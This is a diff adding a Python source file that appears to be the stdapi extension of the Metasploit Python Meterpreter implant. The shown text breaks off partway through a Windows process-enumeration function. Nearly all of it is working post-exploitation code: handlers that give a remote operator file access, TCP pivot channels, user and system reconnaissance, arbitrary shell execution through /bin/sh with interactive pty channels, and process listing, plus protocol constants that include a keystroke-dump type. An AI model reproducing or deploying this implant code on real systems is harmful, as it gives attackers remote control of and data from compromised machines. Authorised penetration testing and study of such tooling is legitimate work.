|
@@ -0,0 +1,865 @@
|
|
1
|
+import ctypes
|
|
2
|
+import fnmatch
|
|
3
|
+import getpass
|
|
4
|
+import os
|
|
5
|
+import platform
|
|
6
|
+import shlex
|
|
7
|
+import shutil
|
|
8
|
+import socket
|
|
9
|
+import struct
|
|
10
|
+import subprocess
|
|
11
|
+import sys
|
|
12
|
+
|
|
13
|
+has_windll = hasattr(ctypes, 'windll')
|
|
14
|
+
|
|
15
|
+try:
|
|
16
|
+ import pty
|
|
17
|
+ has_pty = True
|
|
18
|
+except ImportError:
|
|
19
|
+ has_pty = False
|
|
20
|
+
|
|
21
|
+try:
|
|
22
|
+ import pwd
|
|
23
|
+ has_pwd = True
|
|
24
|
+except ImportError:
|
|
25
|
+ has_pwd = False
|
|
26
|
+
|
|
27
|
+try:
|
|
28
|
+ import termios
|
|
29
|
+ has_termios = True
|
|
30
|
+except ImportError:
|
|
31
|
+ has_termios = False
|
|
32
|
+
|
|
33
|
+try:
|
|
34
|
+ import _winreg as winreg
|
|
35
|
+ has_winreg = True
|
|
36
|
+except ImportError:
|
|
37
|
+ has_winreg = False
|
|
38
|
+
|
|
39
|
+class PROCESSENTRY32(ctypes.Structure):
|
|
40
|
+ _fields_ = [("dwSize", ctypes.c_uint32),
|
|
41
|
+ ("cntUsage", ctypes.c_uint32),
|
|
42
|
+ ("th32ProcessID", ctypes.c_uint32),
|
|
43
|
+ ("th32DefaultHeapID", ctypes.c_void_p),
|
|
44
|
+ ("th32ModuleID", ctypes.c_uint32),
|
|
45
|
+ ("cntThreads", ctypes.c_uint32),
|
|
46
|
+ ("th32ParentProcessID", ctypes.c_uint32),
|
|
47
|
+ ("thPriClassBase", ctypes.c_int32),
|
|
48
|
+ ("dwFlags", ctypes.c_uint32),
|
|
49
|
+ ("szExeFile", (ctypes.c_char * 260))]
|
|
50
|
+
|
|
51
|
+class SYSTEM_INFO(ctypes.Structure):
|
|
52
|
+ _fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
|
53
|
+ ("wReserved", ctypes.c_uint16),
|
|
54
|
+ ("dwPageSize", ctypes.c_uint32),
|
|
55
|
+ ("lpMinimumApplicationAddress", ctypes.c_void_p),
|
|
56
|
+ ("lpMaximumApplicationAddress", ctypes.c_void_p),
|
|
57
|
+ ("dwActiveProcessorMask", ctypes.c_uint32),
|
|
58
|
+ ("dwNumberOfProcessors", ctypes.c_uint32),
|
|
59
|
+ ("dwProcessorType", ctypes.c_uint32),
|
|
60
|
+ ("dwAllocationGranularity", ctypes.c_uint32),
|
|
61
|
+ ("wProcessorLevel", ctypes.c_uint16),
|
|
62
|
+ ("wProcessorRevision", ctypes.c_uint16),]
|
|
63
|
+
|
|
64
|
+class SID_AND_ATTRIBUTES(ctypes.Structure):
|
|
65
|
+ _fields_ = [("Sid", ctypes.c_void_p),
|
|
66
|
+ ("Attributes", ctypes.c_uint32),]
|
|
67
|
+
|
|
68
|
+##
|
|
69
|
+# STDAPI
|
|
70
|
+##
|
|
71
|
+
|
|
72
|
+#
|
|
73
|
+# TLV Meta Types
|
|
74
|
+#
|
|
75
|
+TLV_META_TYPE_NONE = ( 0 )
|
|
76
|
+TLV_META_TYPE_STRING = (1 << 16)
|
|
77
|
+TLV_META_TYPE_UINT = (1 << 17)
|
|
78
|
+TLV_META_TYPE_RAW = (1 << 18)
|
|
79
|
+TLV_META_TYPE_BOOL = (1 << 19)
|
|
80
|
+TLV_META_TYPE_COMPRESSED = (1 << 29)
|
|
81
|
+TLV_META_TYPE_GROUP = (1 << 30)
|
|
82
|
+TLV_META_TYPE_COMPLEX = (1 << 31)
|
|
83
|
+# not defined in original
|
|
84
|
+TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
|
85
|
+
|
|
86
|
+#
|
|
87
|
+# TLV Specific Types
|
|
88
|
+#
|
|
89
|
+TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
|
90
|
+TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
|
91
|
+TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
|
|
92
|
+TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
|
|
93
|
+TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
|
|
94
|
+
|
|
95
|
+TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
|
|
96
|
+TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
|
|
97
|
+TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
|
|
98
|
+
|
|
99
|
+TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
|
|
100
|
+TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
|
|
101
|
+TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
|
|
102
|
+
|
|
103
|
+TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
|
|
104
|
+TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
|
|
105
|
+TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
|
|
106
|
+TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
|
|
107
|
+TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
|
|
108
|
+
|
|
109
|
+##
|
|
110
|
+# General
|
|
111
|
+##
|
|
112
|
+TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600
|
|
113
|
+TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601
|
|
114
|
+TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630
|
|
115
|
+TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631
|
|
116
|
+
|
|
117
|
+##
|
|
118
|
+# Fs
|
|
119
|
+##
|
|
120
|
+TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200
|
|
121
|
+TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201
|
|
122
|
+TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202
|
|
123
|
+TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203
|
|
124
|
+TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204
|
|
125
|
+
|
|
126
|
+TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220
|
|
127
|
+
|
|
128
|
+TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230
|
|
129
|
+TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231
|
|
130
|
+TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232
|
|
131
|
+TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
|
132
|
+
|
|
133
|
+##
|
|
134
|
+# Net
|
|
135
|
+##
|
|
136
|
+TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
|
137
|
+TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
|
138
|
+
|
|
139
|
+TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
|
140
|
+TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
|
141
|
+TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
|
142
|
+TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
|
143
|
+
|
|
144
|
+TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
|
145
|
+TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
|
146
|
+TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
|
147
|
+TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
|
148
|
+
|
|
149
|
+TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
|
150
|
+TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
|
151
|
+TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442
|
|
152
|
+
|
|
153
|
+# Socket
|
|
154
|
+TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500
|
|
155
|
+TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501
|
|
156
|
+TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502
|
|
157
|
+TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
|
|
158
|
+TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504
|
|
159
|
+
|
|
160
|
+TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530
|
|
161
|
+
|
|
162
|
+# Registry
|
|
163
|
+TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000
|
|
164
|
+TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY
|
|
165
|
+TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001
|
|
166
|
+TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002
|
|
167
|
+TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003
|
|
168
|
+TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010
|
|
169
|
+TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011
|
|
170
|
+TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012
|
|
171
|
+TLV_TYPE_TARGET_HOST = TLV_META_TYPE_STRING | 1013
|
|
172
|
+
|
|
173
|
+# Config
|
|
174
|
+TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040
|
|
175
|
+TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041
|
|
176
|
+TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042
|
|
177
|
+TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043
|
|
178
|
+
|
|
179
|
+DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
|
|
180
|
+
|
|
181
|
+# Process
|
|
182
|
+TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000
|
|
183
|
+TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001
|
|
184
|
+TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002
|
|
185
|
+TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003
|
|
186
|
+TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004
|
|
187
|
+TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005
|
|
188
|
+TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006
|
|
189
|
+TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007
|
|
190
|
+TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008
|
|
191
|
+TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300
|
|
192
|
+TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301
|
|
193
|
+TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302
|
|
194
|
+TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303
|
|
195
|
+TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304
|
|
196
|
+TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305
|
|
197
|
+TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306
|
|
198
|
+TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307
|
|
199
|
+
|
|
200
|
+TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400
|
|
201
|
+TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401
|
|
202
|
+TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402
|
|
203
|
+TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403
|
|
204
|
+TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404
|
|
205
|
+TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405
|
|
206
|
+TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406
|
|
207
|
+
|
|
208
|
+TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500
|
|
209
|
+TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502
|
|
210
|
+TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510
|
|
211
|
+TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511
|
|
212
|
+TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512
|
|
213
|
+TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513
|
|
214
|
+
|
|
215
|
+TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540
|
|
216
|
+TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541
|
|
217
|
+TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542
|
|
218
|
+TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550
|
|
219
|
+
|
|
220
|
+##
|
|
221
|
+# Ui
|
|
222
|
+##
|
|
223
|
+TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000
|
|
224
|
+TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001
|
|
225
|
+TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002
|
|
226
|
+
|
|
227
|
+##
|
|
228
|
+# Event Log
|
|
229
|
+##
|
|
230
|
+TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000
|
|
231
|
+TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001
|
|
232
|
+TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002
|
|
233
|
+
|
|
234
|
+TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003
|
|
235
|
+TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004
|
|
236
|
+
|
|
237
|
+TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006
|
|
238
|
+TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007
|
|
239
|
+TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008
|
|
240
|
+TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009
|
|
241
|
+TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010
|
|
242
|
+TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011
|
|
243
|
+TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012
|
|
244
|
+TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013
|
|
245
|
+
|
|
246
|
+##
|
|
247
|
+# Power
|
|
248
|
+##
|
|
249
|
+TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100
|
|
250
|
+TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101
|
|
251
|
+
|
|
252
|
+##
|
|
253
|
+# Sys
|
|
254
|
+##
|
|
255
|
+PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
|
|
256
|
+PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
|
|
257
|
+PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
|
|
258
|
+PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
|
|
259
|
+
|
|
260
|
+PROCESS_ARCH_UNKNOWN = 0
|
|
261
|
+PROCESS_ARCH_X86 = 1
|
|
262
|
+PROCESS_ARCH_X64 = 2
|
|
263
|
+PROCESS_ARCH_IA64 = 3
|
|
264
|
+
|
|
265
|
+##
|
|
266
|
+# Errors
|
|
267
|
+##
|
|
268
|
+ERROR_SUCCESS = 0
|
|
269
|
+# not defined in original C implementation
|
|
270
|
+ERROR_FAILURE = 1
|
|
271
|
+
|
|
272
|
+# Special return value to match up with Windows error codes for network
|
|
273
|
+# errors.
|
|
274
|
+ERROR_CONNECTION_ERROR = 10000
|
|
275
|
+
|
|
276
|
+def get_stat_buffer(path):
|
|
277
|
+ si = os.stat(path)
|
|
278
|
+ rdev = 0
|
|
279
|
+ if hasattr(si, 'st_rdev'):
|
|
280
|
+ rdev = si.st_rdev
|
|
281
|
+ blksize = 0
|
|
282
|
+ if hasattr(si, 'st_blksize'):
|
|
283
|
+ blksize = si.st_blksize
|
|
284
|
+ blocks = 0
|
|
285
|
+ if hasattr(si, 'st_blocks'):
|
|
286
|
+ blocks = si.st_blocks
|
|
287
|
+ st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
|
|
288
|
+ st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
|
|
289
|
+ st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
|
|
290
|
+ st_buf += struct.pack('<II', blksize, blocks)
|
|
291
|
+ return st_buf
|
|
292
|
+
|
|
293
|
+def windll_GetNativeSystemInfo():
|
|
294
|
+ if not has_windll:
|
|
295
|
+ return None
|
|
296
|
+ sysinfo = SYSTEM_INFO()
|
|
297
|
+ ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
|
298
|
+ return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
|
299
|
+
|
|
300
|
+@meterpreter.register_function
|
|
301
|
+def channel_create_stdapi_fs_file(request, response):
|
|
302
|
+ fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
|
303
|
+ fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
|
304
|
+ if fmode:
|
|
305
|
+ fmode = fmode['value']
|
|
306
|
+ fmode = fmode.replace('bb', 'b')
|
|
307
|
+ else:
|
|
308
|
+ fmode = 'rb'
|
|
309
|
+ file_h = open(fpath, fmode)
|
|
310
|
+ channel_id = meterpreter.add_channel(file_h)
|
|
311
|
+ response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
312
|
+ return ERROR_SUCCESS, response
|
|
313
|
+
|
|
314
|
+@meterpreter.register_function
|
|
315
|
+def channel_create_stdapi_net_tcp_client(request, response):
|
|
316
|
+ host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
|
317
|
+ port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
|
318
|
+ local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
|
319
|
+ local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
|
|
320
|
+ retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
|
|
321
|
+ connected = False
|
|
322
|
+ for i in range(retries + 1):
|
|
323
|
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
324
|
+ sock.settimeout(3.0)
|
|
325
|
+ if local_host.get('value') and local_port.get('value'):
|
|
326
|
+ sock.bind((local_host['value'], local_port['value']))
|
|
327
|
+ try:
|
|
328
|
+ sock.connect((host, port))
|
|
329
|
+ connected = True
|
|
330
|
+ break
|
|
331
|
+ except:
|
|
332
|
+ pass
|
|
333
|
+ if not connected:
|
|
334
|
+ return ERROR_CONNECTION_ERROR, response
|
|
335
|
+ channel_id = meterpreter.add_channel(sock)
|
|
336
|
+ response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
337
|
+ return ERROR_SUCCESS, response
|
|
338
|
+
|
|
339
|
+@meterpreter.register_function
|
|
340
|
+def stdapi_sys_config_getuid(request, response):
|
|
341
|
+ response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
|
|
342
|
+ return ERROR_SUCCESS, response
|
|
343
|
+
|
|
344
|
+@meterpreter.register_function
|
|
345
|
+def stdapi_sys_config_sysinfo(request, response):
|
|
346
|
+ uname_info = platform.uname()
|
|
347
|
+ response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
|
|
348
|
+ response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
|
|
349
|
+ arch = uname_info[4]
|
|
350
|
+ if has_windll:
|
|
351
|
+ arch = windll_GetNativeSystemInfo()
|
|
352
|
+ if arch == PROCESS_ARCH_IA64:
|
|
353
|
+ arch = 'IA64'
|
|
354
|
+ elif arch == PROCESS_ARCH_X64:
|
|
355
|
+ arch = 'x86_64'
|
|
356
|
+ elif arch == PROCESS_ARCH_X86:
|
|
357
|
+ arch = 'x86'
|
|
358
|
+ else:
|
|
359
|
+ arch = uname_info[4]
|
|
360
|
+ response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
|
|
361
|
+ return ERROR_SUCCESS, response
|
|
362
|
+
|
|
363
|
+@meterpreter.register_function
|
|
364
|
+def stdapi_sys_process_close(request, response):
|
|
365
|
+ proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
|
|
366
|
+ if not proc_h_id:
|
|
367
|
+ return ERROR_SUCCESS, response
|
|
368
|
+ proc_h_id = proc_h_id['value']
|
|
369
|
+ proc_h = meterpreter.channels[proc_h_id]
|
|
370
|
+ proc_h.kill()
|
|
371
|
+ return ERROR_SUCCESS, response
|
|
372
|
+
|
|
373
|
+@meterpreter.register_function
|
|
374
|
+def stdapi_sys_process_execute(request, response):
|
|
375
|
+ cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
|
|
376
|
+ raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
|
|
377
|
+ if raw_args:
|
|
378
|
+ raw_args = raw_args['value']
|
|
379
|
+ else:
|
|
380
|
+ raw_args = ""
|
|
381
|
+ flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
|
|
382
|
+ if len(cmd) == 0:
|
|
383
|
+ return ERROR_FAILURE, response
|
|
384
|
+ if os.path.isfile('/bin/sh'):
|
|
385
|
+ args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
|
|
386
|
+ else:
|
|
387
|
+ args = [cmd]
|
|
388
|
+ args.extend(shlex.split(raw_args))
|
|
389
|
+ if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
|
390
|
+ if has_pty:
|
|
391
|
+ master, slave = pty.openpty()
|
|
392
|
+ if has_termios:
|
|
393
|
+ settings = termios.tcgetattr(master)
|
|
394
|
+ settings[3] = settings[3] & ~termios.ECHO
|
|
395
|
+ termios.tcsetattr(master, termios.TCSADRAIN, settings)
|
|
396
|
+ proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
|
|
397
|
+ proc_h.stdin = os.fdopen(master, 'wb')
|
|
398
|
+ proc_h.stdout = os.fdopen(master, 'rb')
|
|
399
|
+ proc_h.stderr = open(os.devnull, 'rb')
|
|
400
|
+ else:
|
|
401
|
+ proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
402
|
+ proc_h.start()
|
|
403
|
+ else:
|
|
404
|
+ proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
405
|
+ proc_h_id = meterpreter.add_process(proc_h)
|
|
406
|
+ response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
|
|
407
|
+ response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
|
|
408
|
+ if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
|
|
409
|
+ channel_id = meterpreter.add_channel(proc_h)
|
|
410
|
+ response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
|
411
|
+ return ERROR_SUCCESS, response
|
|
412
|
+
|
|
413
|
+@meterpreter.register_function
|
|
414
|
+def stdapi_sys_process_getpid(request, response):
|
|
415
|
+ response += tlv_pack(TLV_TYPE_PID, os.getpid())
|
|
416
|
+ return ERROR_SUCCESS, response
|
|
417
|
+
|
|
418
|
+def stdapi_sys_process_get_processes_via_proc(request, response):
|
|
419
|
+ for pid in os.listdir('/proc'):
|
|
420
|
+ pgroup = ''
|
|
421
|
+ if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
|
|
422
|
+ continue
|
|
423
|
+ cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
|
|
424
|
+ status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
|
|
425
|
+ status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
|
|
426
|
+ status_data = filter(lambda x: len(x) == 2, status_data)
|
|
427
|
+ status = {}
|
|
428
|
+ for k, v in status_data:
|
|
429
|
+ status[k[:-1]] = v.strip()
|
|
430
|
+ ppid = status.get('PPid')
|
|
431
|
+ uid = status.get('Uid').split('\t', 1)[0]
|
|
432
|
+ if has_pwd:
|
|
433
|
+ uid = pwd.getpwuid(int(uid)).pw_name
|
|
434
|
+ if cmd:
|
|
435
|
+ pname = os.path.basename(cmd.split(' ', 1)[0])
|
|
436
|
+ ppath = cmd
|
|
437
|
+ else:
|
|
438
|
+ pname = '[' + status['Name'] + ']'
|
|
439
|
+ ppath = ''
|
|
440
|
+ pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
|
|
441
|
+ if ppid:
|
|
442
|
+ pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
|
|
443
|
+ pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
|
|
444
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
|
|
445
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
|
|
446
|
+ response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
447
|
+ return ERROR_SUCCESS, response
|
|
448
|
+
|
|
449
|
+def stdapi_sys_process_get_processes_via_ps(request, response):
|
|
450
|
+ ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
|
|
451
|
+ proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
452
|
+ ps_output = proc_h.stdout.read()
|
|
453
|
+ ps_output = ps_output.split('\n')
|
|
454
|
+ ps_output.pop(0)
|
|
455
|
+ for process in ps_output:
|
|
456
|
+ process = process.split()
|
|
457
|
+ if len(process) < 4:
|
|
458
|
+ break
|
|
459
|
+ pgroup = ''
|
|
460
|
+ pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
|
|
461
|
+ pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
|
|
462
|
+ pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
|
|
463
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
|
|
464
|
+ pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
|
|
465
|
+ response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
|
|
466
|
+ return ERROR_SUCCESS, response
|
|
467
|
+
|
|
468
|
+def stdapi_sys_process_get_processes_via_windll(request, response):
|
|
469
|
+ TH32CS_SNAPPROCESS = 2
|
|
470
|
+ PROCESS_QUERY_INFORMATION = 0x0400
|
|
471
|
+ PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
|
|
472
|
+ PROCESS_VM_READ = 0x10
|
|
473
|
+ TOKEN_QUERY = 0x0008
|
|
474
|
+ TokenUser = 1
|
|
475
|
+ k32 = ctypes.windll.kernel32
|
|
476
|
+ pe32 = PROCESSENTRY32()
|
|
477
|
+ pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
|
|
478
|
+ proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
|
479
|
+ result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
|
480
|
+ if not result:
|
|
481
|
+ return ERROR_FAILURE, response
|
|
482
|
+ while result:
|
|
483
|
+ proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
|
484
|
+ if not proc_h:
|
|
485
|
+ proc_h = k32.OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, False, pe32.th32ProcessID)
|
|
486
|
+ exe_path = (ctypes.c_char * 1024)()
|
|
487
|
+ success = False
|
|
488
|
+ if hasattr(ctypes.windll.psapi, 'GetModuleFileNameExA'):
|
|
489
|
+ success = ctypes.windll.psapi.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
490
|
+ elif hasattr(k32, 'GetModuleFileNameExA'):
|
|
491
|
+ success = k32.GetModuleFileNameExA(proc_h, 0, exe_path, ctypes.sizeof(exe_path))
|
|
492
|
+ if not success and hasattr(k32, 'QueryFullProcessImageNameA'):
|
|
493
|
+ dw_sz = ctypes.c_uint32()
|
|
494
|
+ dw_sz.value = ctypes.sizeof(exe_path)
|
|
495
|
+ success = k32.QueryFullProcessImageNameA(proc_h, 0, exe_path, ctypes.byref(dw_sz))
|
